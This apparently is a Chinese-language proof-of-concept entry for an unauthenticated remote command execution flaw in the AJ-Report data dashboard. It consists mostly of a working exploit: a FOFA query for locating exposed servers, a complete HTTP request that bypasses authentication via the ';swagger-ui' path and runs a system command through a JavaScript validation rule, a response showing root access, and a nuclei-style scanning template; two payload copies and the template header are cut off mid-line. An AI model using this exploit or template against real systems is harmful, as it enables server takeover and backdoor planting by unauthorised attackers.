A30-1AJ-Report开源数据大屏-RCE

漏洞描述：

AJ-Report开源数据大屏 verification;swagger-ui接口存在远程命令执行漏洞，未经身份验证的远程攻击者可以利用此类漏洞执行任意命令，写入后门文件，最终可获取服务器权限。

网站图片：

网络测绘：

fofa语法：

title="AJ-Report"

漏洞复现：

payload：

```
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.Process
```

效果图:

st

数据包扫描 美化 热加载 构造请求

```
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host ? :
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1",
"mandatory":true,"requiredFlag":1,"validationRules":"function
verification(data){a = new java.lang.ProcessBuilder(\"id\").start().
getInputStream();r=new java.io.BufferedReader(new java.io.
InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss
+=line};return ss;}"}
```

Responses 110bytes / 37ms

```
1  HTTP/1.1 200
2  Server: nginx/1.2
3  Date: Mon, 06 May
4  Content-Type: app
5  Connection: close
6  Access-Control-Al
7  Access-Control-Al
8  Access-Control-Al
9  Access-Control-Ex
10 Content-Length: 1
11
12 {"code":"200","me
   "data":"uid=0(roo
```

Yaml模板

```
d: AJ-Report-swagger-ui-rce

info:
  name: AJ-Report-swagger-ui-rce
  author:
  severity: high

  description: |
    AJ-Report-RCE

http:
  - raw:
      - |
        POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Content-Type: application/json;charset=UTF-8
        Connection: close

        {"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang



    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"message","args","操作成功")
```